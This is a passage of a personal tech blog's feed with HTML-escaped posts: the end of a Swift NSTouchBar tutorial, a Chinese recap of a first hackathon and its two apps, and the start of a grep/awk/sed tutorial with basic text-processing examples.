        &lt;span class=&quot;k&quot;&gt;default&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;false&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;resultLabel&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;stringValue&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Correct&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;Wrong&quot;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;关联 Randomize 按钮，生成随机数：&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-swift highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// MARK: - Button Action&lt;/span&gt;
    
&lt;span class=&quot;kd&quot;&gt;@IBAction&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;randomize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;_&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;sender&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;NSButton&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;reset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// MARK: - Private Method&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;reset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;numberA&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;intValue&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;randomAInt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;numberB&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;intValue&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;randomAInt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;resultLabel&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;stringValue&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;randomAInt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Int32&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;Int32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;arc4random_uniform&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;最后别忘了在 &lt;code class=&quot;highlighter-rouge&quot;&gt;windowDidLoad()&lt;/code&gt; 中随机生成两个数。修改 &lt;code class=&quot;highlighter-rouge&quot;&gt;windowDidLoad()&lt;/code&gt; 方法：&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-swift highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;override&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;func&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;windowDidLoad&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;super&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;windowDidLoad&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;reset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;大功告成！运行一下你的程序，使用 Command+Shift+5 快速调出模拟的 TouchBar 窗口测试吧！&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;references---参考&quot;&gt;References - 参考&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;官方的 NSTouchBar 开发文档：&lt;a href=&quot;https://developer.apple.com/reference/appkit/nstouchbar&quot;&gt;https://developer.apple.com/reference/appkit/nstouchbar&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;代码地址：&lt;a href=&quot;https://github.com/Cee/TouchBarSample&quot;&gt;https://github.com/Cee/TouchBarSample&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

          
          
        
      
        </content><summary>Environments / 环境要求</summary></entry><entry><title>写在第一次 Hackathon 之后</title><id>http://blog.cee.moe/after-my-first-hackathon.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/after-my-first-hackathon.html" /><published>2016-10-17T00:00:00-07:00</published><updated>2016-10-17T20:14:56-07:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;h2 id=&quot;序&quot;&gt;序&lt;/h2&gt;

&lt;p&gt;对于一个 Hackathon 萌新来说，这一次的参赛有一些特别。因为是我：&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;第一次加入 &lt;a href=&quot;https://github.com/hACKbUSTER/&quot;&gt;hACKbUSTER&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;第一次参加 Hackathon&lt;/li&gt;
  &lt;li&gt;第一次同时参加两场 Hackathon😂&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;起&quot;&gt;起&lt;/h2&gt;

&lt;p&gt;上大学的时候就想着有机会要参加一次 Hackathon。可惜老天看不上我，正准备报名某场 Hackathon 的时候让我&lt;a href=&quot;http://weibo.com/p/1001603916279265274719&quot;&gt;发了病&lt;/a&gt;，于是就在大学期间错过了可以参加的 Hackathon。&lt;/p&gt;

&lt;p&gt;前段时间正好和&lt;a href=&quot;http://sergiochan.xyz&quot;&gt;陈叔&lt;/a&gt;还有&lt;a href=&quot;http://www.justzht.com&quot;&gt;小萌&lt;/a&gt;看到 HACKxFDU 能够报名，而且毕了业的貌似也能报名（笑），就鼓起勇气试了一下。在某个周末竟然收到了入选的消息。&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://ooo.0o0.ooo/2016/10/17/5804c4ad07c61.jpeg&quot; alt=&quot;HACKxFDU&quot; /&gt;&lt;/p&gt;

&lt;p&gt;感觉一阵狂喜，焦急地等待官网的上线和选手的注册。结果等到周三还没有任何的通知。陈叔急了，说不如我们去参加 SF 承办的&lt;a href=&quot;https://segmentfault.com/e/1160000007021150&quot;&gt;云赛空间&lt;/a&gt;的吧。点头后遂报名，一看日期还是同一天，自己感觉压力好大。「不过既然报了名两边就得好好做」，心想。&lt;/p&gt;

&lt;p&gt;周五早早的到达火车站，见到了 hACKbUSTER 的另外一名 ACM 大神&lt;a href=&quot;https://github.com/yangsiy&quot;&gt;思宇&lt;/a&gt;。然而可怜的陈叔忘带了身份证，匆匆忙忙补办后一路狂奔至车厢，上车，踏上征战魔都 Hackathon 的旅程。&lt;/p&gt;

&lt;h2 id=&quot;承&quot;&gt;承&lt;/h2&gt;

&lt;p&gt;考虑到后者的奖金丰厚，我们把重心放在了 SF 的比赛上。下午到达酒店放下行李，坐地铁到 FDU 参加晚上的 HACKxFDU 的开幕式。找到 &lt;a href=&quot;https://github.com/WPH95&quot;&gt;WPH&lt;/a&gt; 之后，商讨一下两边的 Hackathon 做什么。晚上九点确定了一下大致的分工：&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;重心放在明天的云赛空间的 Hackathon 上&lt;/li&gt;
  &lt;li&gt;HACKxFDU 应该会左一个类似于 CodeVS 的编辑器或者 IDE，不过适合 k12 的小朋友们使用，避免配置额外的 Runtime 环境&lt;/li&gt;
  &lt;li&gt;可能有一部分人得来回赶着 Coding&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;考虑到第二天要早起参加骑摩拜的开幕式，晚上就把编辑器的事情讨论到了十一点，就宾馆早点睡了（其实到了宾馆看了下如何开发 Electron App 就一不小心看到了凌晨三点多）。&lt;/p&gt;

&lt;p&gt;周六早上七点半起来，匆忙吃好早饭打了个车赶到云赛空间 Hackathon 的开幕式会场。见到了颜值担当的主持人烧碱，莫名有种已经赚回了来回路费的错觉。在摩拜单车的 CEO 发表致辞后，一行人骑了摩拜单车来到了会场。&lt;/p&gt;

&lt;p&gt;十点比赛正式开始，主题是「如何提升我们的城市生活体验」。拿到题目后感觉有点懵逼，不过在讨论了一些关于智能路灯、垃圾回收的主题后思路开始慢慢清晰——&lt;strong&gt;我们要做的是一款基于 LBS 的信息共享的应用，配合微软的认知服务（比赛必须使用，┑(￣Д ￣)┍）来增进人与人之间的感情，缩短人与人之间的距离&lt;/strong&gt;。名字就取了个和之前 &lt;a href=&quot;https://github.com/hACKbUSTER/FixPlusPlus&quot;&gt;Fix++&lt;/a&gt; 相类似的名字：Connect++。趁着大家都去吃饭的时候，我们团队四个人就又从云赛空间偷偷溜走，骑摩拜到地铁站去复旦 HACKxFDU 露面。算下来这十二个小时什么都没干。&lt;/p&gt;

&lt;p&gt;到达复旦已经是下午两点。正式确认了一下两边的接下来的分配：WPH 负责 Playground 的后端实现和对接企业 SDK；我负责 Playground 的前端、App Icon 设计以及 Electron 的封装对接；剩下三位就开始做 Connect++。定下来这个小的 Playground 叫做 Delight 后，一路踩坑到了晚上九点，自己算是基本完成了前端的界面的改造设计，以及 Electron 文件的初步封装。小萌也基本上做完了 Connect++ 的设计稿，陈叔和思宇也基本接上了 Mapbox。WPH 感冒先回酒店睡觉，于是剩下四个人又打了辆车回到了云赛的比赛场地。晚上十一点，四个人分完设计稿中的内容，开始挑战编程极限。&lt;/p&gt;

&lt;p&gt;中途 Xcode 不知道死了几次，Chrome 和 Safari 的 Tab 可能估计有 100+。到了四点在小萌做完最后一个 TagView 趴下睡觉后，我和陈叔两个人又骑了摩拜单车出去觅食。跨过不知道多少个路口，最后在一个保安的帮助下，终于找到一家 24 小时营业的 Family Mart。两人买完泡面和食物饮料后深感 Connect++ 这个 App 的重要性。回到比赛场地后继续开始修各种 Bug。五点，喝完红牛的我依旧困的不行。在后排找了八张凳子拼了个小床，倒下就躺下睡了一小时。之后陈叔和小萌又轮流睡了一会儿，恢复一下精神。早晨八点多钟，Connect++ 的开发也基本完成，WPH 也从睡梦中醒来，把最后的一点代码交给我打包进 Electron 的工程当中。&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://ooo.0o0.ooo/2016/10/17/5804e16f9e040.png&quot; alt=&quot;Connect++ Punch Card&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;合&quot;&gt;合&lt;/h2&gt;

&lt;p&gt;最后等待结果的时候人的状态是又困又紧张又兴奋的。在云赛空间我们是第⑨个上台演示的，而且自我感觉良好，无论对比前面的八组 PPT 还是后面十一组的 PPT。结果很可惜，评委老师的水平太一般，最后只拿了三等奖 1W 元和华硕的键鼠耳机套装。&lt;/p&gt;

&lt;p&gt;知道名次拿到奖品后，听说 Delight 已经进入前九的路演环节，四人马上飞奔至 WPH 那，等待最后的结果。在复旦的食堂中睡了一个半小时后，得知 WPH 最后不幸没拿到前三（据说都是复旦的），五人就去大吃大喝了。&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://ooo.0o0.ooo/2016/10/18/5805843eca058.jpeg&quot; alt=&quot;Sleep @FDU&quot; /&gt;&lt;/p&gt;

&lt;p&gt;在虹桥睡了一晚上，小萌最后飞机没赶上，我、思宇、陈叔抱着奖品回了北京，这么两场 Hackathon 就这么结束了。&lt;/p&gt;

&lt;h2 id=&quot;感受和吐嘈&quot;&gt;感受和吐嘈&lt;/h2&gt;

&lt;h3 id=&quot;感受&quot;&gt;感受&lt;/h3&gt;

&lt;p&gt;作为一个萌新第一次参加 Hackathon，第一次就在两天时间内参与了两场平行举行的 Hackathon 比赛😂。这种爆肝做项目的感觉真是好（bu）到（xiang）爆（you）。不过还是要感谢一下 HACKxFDU 以及云赛空间，更感谢一下 hACKbUSTER 的队友们：陈叔、思宇、小萌、WPH🎉。&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://ooo.0o0.ooo/2016/10/18/58058792d2f7d.jpg&quot; alt=&quot;hACKbUSTER&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;吐嘈&quot;&gt;吐嘈&lt;/h3&gt;

&lt;ol&gt;
  &lt;li&gt;HACKxFDU 的管理团队实在是好烂，没见过这么烂的。&lt;/li&gt;
  &lt;li&gt;HACKxFDU 提供的比赛场地就和狗窝一样，还有食品和饮料，简直就是和抢劫一样，实在是好烂，没见过这么烂的。&lt;/li&gt;
  &lt;li&gt;云赛的评委基本不懂技术，实在是好烂，没见过这么烂的。&lt;/li&gt;
  &lt;li&gt;云赛的其他组做的产品（PPT）做的实在是好烂，没见过这么烂的。&lt;/li&gt;
&lt;/ol&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;最后介绍一下两个-app&quot;&gt;最后介绍一下两个 App&lt;/h2&gt;

&lt;h3 id=&quot;delight&quot;&gt;&lt;a href=&quot;https://github.com/hACKbUSTER/Delight&quot;&gt;Delight&lt;/a&gt;&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;https://ooo.0o0.ooo/2016/10/17/5804d572db2f9.png&quot; alt=&quot;Delight App Icon&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://ooo.0o0.ooo/2016/10/17/5804d546e855a.jpeg&quot; alt=&quot;Delight App&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Learn with delight, learn with Delight. Delight is a light-weight code editor and playground that helps connect teacher with students.&lt;/p&gt;

&lt;h3 id=&quot;connect&quot;&gt;&lt;a href=&quot;https://github.com/hACKbUSTER/ConnectPlusPlus&quot;&gt;Connect++&lt;/a&gt;&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;https://github.com/hACKbUSTER/ConnectPlusPlus/raw/master/Screenshot/Screenshot.jpg&quot; alt=&quot;Connect++&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Connect ++ is a LBS information sharing platform. Simple click to share your information and simple click to view the information shared by others, we connect the citizens in this city together to build a smarter city. Furthermore, we could provide open API for public service and utilities to upload their information onto our platform, with more latest and location-related information. It could be the fundamental platform to build smarter city.&lt;/p&gt;

          
          
        
      
        </content><summary>序</summary></entry><entry><title>A brief introduction to grep, awk &amp; sed</title><id>http://blog.cee.moe/a-brief-introduction-to-grep-awk-and-sed.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/a-brief-introduction-to-grep-awk-and-sed.html" /><published>2016-08-23T00:00:00-07:00</published><updated>2016-08-23T07:16:19-07:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;grep&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;awk&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;sed&lt;/code&gt; are three of the most useful command-line tools&lt;sup id=&quot;fnref:1&quot;&gt;&lt;a href=&quot;#fn:1&quot; class=&quot;footnote&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; in *nix world. And this article will give you a brief introduction and basic usages of these three different commands.&lt;/p&gt;

&lt;hr /&gt;

&lt;h2 id=&quot;grep&quot;&gt;grep&lt;/h2&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;grep&lt;/code&gt; (&lt;strong&gt;G&lt;/strong&gt;lobal &lt;strong&gt;R&lt;/strong&gt;egular &lt;strong&gt;E&lt;/strong&gt;xpression &lt;strong&gt;P&lt;/strong&gt;rint) is used to search for specific terms in a file.&lt;/p&gt;

&lt;p&gt;Different from &lt;code class=&quot;highlighter-rouge&quot;&gt;awk&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;sed&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;grep&lt;/code&gt; can’t add/modify/remove the text in a specific file. But it’s useful when we just want to search and filter out matches.&lt;/p&gt;

&lt;h3 id=&quot;usage&quot;&gt;Usage&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Typical use&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# print every line that contains the word 'test'&lt;/span&gt;
grep &lt;span class=&quot;s1&quot;&gt;'test'&lt;/span&gt; file.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;-E&lt;/code&gt; / &lt;code class=&quot;highlighter-rouge&quot;&gt;-P&lt;/code&gt;: Use extended / Perl compatible regular expression syntax.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;-n&lt;/code&gt;: Show line number before each line.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;-o&lt;/code&gt;: Only show the matching segment of the line.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;-v&lt;/code&gt;: Print all of the lines that &lt;em&gt;DO NOT&lt;/em&gt; match the search pattern.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;-c&lt;/code&gt;: Show the number of the lines that contains the search pattern.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;-i&lt;/code&gt;: Ignore case.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;awk&quot;&gt;awk&lt;/h2&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;awk&lt;/code&gt; is a text pattern scanning and processing language, which is created by &lt;strong&gt;A&lt;/strong&gt;ho, &lt;strong&gt;W&lt;/strong&gt;einberger &amp;amp; &lt;strong&gt;K&lt;/strong&gt;ernighan. &lt;code class=&quot;highlighter-rouge&quot;&gt;awk&lt;/code&gt; is mostly used for data extraction and reporting (dealing with .csv files).&lt;/p&gt;

&lt;p&gt;Each &lt;code class=&quot;highlighter-rouge&quot;&gt;awk&lt;/code&gt; procedure can be divided into three sections:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;BEGIN { ... initialization awk commands ...}
{ ... awk commands for each line of the file ...}
END { ... finalization awk commands ...}
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Control flow&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;if (condition) statement [ else statement ]
while (condition) statement
do statement while (condition)
for (expr1; expr2; expr3) statement
for (var in array) statement
break
continue
exit [ expression ]
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Built-in variables&lt;/li&gt;
&lt;/ul&gt;

&lt;table&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Variable&lt;/td&gt;
      &lt;td&gt;Meaning&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;$0&lt;/td&gt;
      &lt;td&gt;Current line&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;$1 - $n&lt;/td&gt;
      &lt;td&gt;The nth field&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;FS&lt;/td&gt;
      &lt;td&gt;Input field separator, default value is “ “&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;NF&lt;/td&gt;
      &lt;td&gt;The number of fields/columns&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;NR&lt;/td&gt;
      &lt;td&gt;The number of records/rows&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;FNR&lt;/td&gt;
      &lt;td&gt;The number of records relative to the current input file&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;OFS&lt;/td&gt;
      &lt;td&gt;The output field separator, default value is “ “&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;ORS&lt;/td&gt;
      &lt;td&gt;The output record separator, default value is “\n”&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h3 id=&quot;usage-1&quot;&gt;Usage&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Typical use&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# print 1st and 4th column&lt;/span&gt;
awk &lt;span class=&quot;s1&quot;&gt;'{print $1, $4}'&lt;/span&gt; file.txt

&lt;span class=&quot;c&quot;&gt;# same with 'cat file.txt'&lt;/span&gt;
awk &lt;span class=&quot;s1&quot;&gt;'{print $0}'&lt;/span&gt; file.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;-F&lt;/code&gt;: Set input field sparator&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# print 1st and 4th column separated by ':'&lt;/span&gt;
awk -F: &lt;span class=&quot;s1&quot;&gt;'{print $1, $4}'&lt;/span&gt; file.txt
&lt;span class=&quot;c&quot;&gt;# or&lt;/span&gt;
awk &lt;span class=&quot;s1&quot;&gt;'BEGIN {FS = &quot;:&quot;} {print $1, $4}'&lt;/span&gt; file.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Pattern matching&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# print 2nd column when 1st field is precisely 'test'&lt;/span&gt;
awk &lt;span class=&quot;s1&quot;&gt;'$1 == &quot;test&quot; { print $2 }'&lt;/span&gt; file.txt

&lt;span class=&quot;c&quot;&gt;# print 2nd column when 1st field contains 'test'&lt;/span&gt;
awk &lt;span class=&quot;s1&quot;&gt;'$1 ~ /test/ { print $2 }'&lt;/span&gt; file.txt

&lt;span class=&quot;c&quot;&gt;# print 2nd column when 1st field DOES NOT contain 'test'&lt;/span&gt;
awk &lt;span class=&quot;s1&quot;&gt;'$1 !~ /test/ { print $2 }'&lt;/span&gt; file.txt

&lt;span class=&quot;c&quot;&gt;# print 2nd column when this record contains 'test'&lt;/span&gt;
awk &lt;span class=&quot;s1&quot;&gt;'/test/ { print $2 }'&lt;/span&gt; file.txt

&lt;span class=&quot;c&quot;&gt;# print 2nd column when this record DOES NOT contain 'test'&lt;/span&gt;
awk &lt;span class=&quot;s1&quot;&gt;'! /test/ { print $2 }'&lt;/span&gt; file.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;In-place editing: &lt;code class=&quot;highlighter-rouge&quot;&gt;-i&lt;/code&gt; (GNU awk 4.1.0 or later…)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;sed&quot;&gt;sed&lt;/h2&gt;

&lt;p&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;sed&lt;/code&gt; refers to &lt;strong&gt;S&lt;/strong&gt;tream &lt;strong&gt;Ed&lt;/strong&gt;itor. It can perform text transformations on a given file or an input stream.&lt;/p&gt;

&lt;h3 id=&quot;usage-2&quot;&gt;Usage&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Print a line: &lt;code class=&quot;highlighter-rouge&quot;&gt;p&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# treat this as using 'grep'&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# same with 'cat file.txt'&lt;/span&gt;
sed &lt;span class=&quot;s1&quot;&gt;''&lt;/span&gt; file.txt

&lt;span class=&quot;c&quot;&gt;# print every line that matches the regex pattern&lt;/span&gt;
sed -n &lt;span class=&quot;s1&quot;&gt;'/test/p'&lt;/span&gt; file.txt

&lt;span class=&quot;c&quot;&gt;# match different patterns&lt;/span&gt;
sed -n &lt;span class=&quot;s1&quot;&gt;'/test1/, /test2/p'&lt;/span&gt; file.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Remove a line: &lt;code class=&quot;highlighter-rouge&quot;&gt;d&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# remove every line that matches the regex pattern&lt;/span&gt;
sed &lt;span class=&quot;s1&quot;&gt;'/test/d'&lt;/span&gt; file.txt

&lt;span class=&quot;c&quot;&gt;# remove 2nd line&lt;/span&gt;
sed &lt;span class=&quot;s1&quot;&gt;'2d'&lt;/span&gt; file.txt

&lt;span class=&quot;c&quot;&gt;# remove from 2nd line to the end of the file&lt;/span&gt;
sed &lt;span class=&quot;s1&quot;&gt;'2,$d'&lt;/span&gt; file.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Substitution: &lt;code class=&quot;highlighter-rouge&quot;&gt;s&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# replace the 1st 'test' with 'text' in each line&lt;/span&gt;
sed &lt;span class=&quot;s1&quot;&gt;'s/test/text/'&lt;/span&gt; file.txt

&lt;span class=&quot;c&quot;&gt;# replace all 'test' with 'text' in each line&lt;/span&gt;
sed &lt;span class=&quot;s1&quot;&gt;'s/test/text/g'&lt;/span&gt; file.txt

&lt;span class=&quot;c&quot;&gt;# replace the 2nd 'test' with 'text' in each line&lt;/span&gt;
sed &lt;span class=&quot;s1&quot;&gt;'s/test/text/2'&lt;/span&gt; file.txt

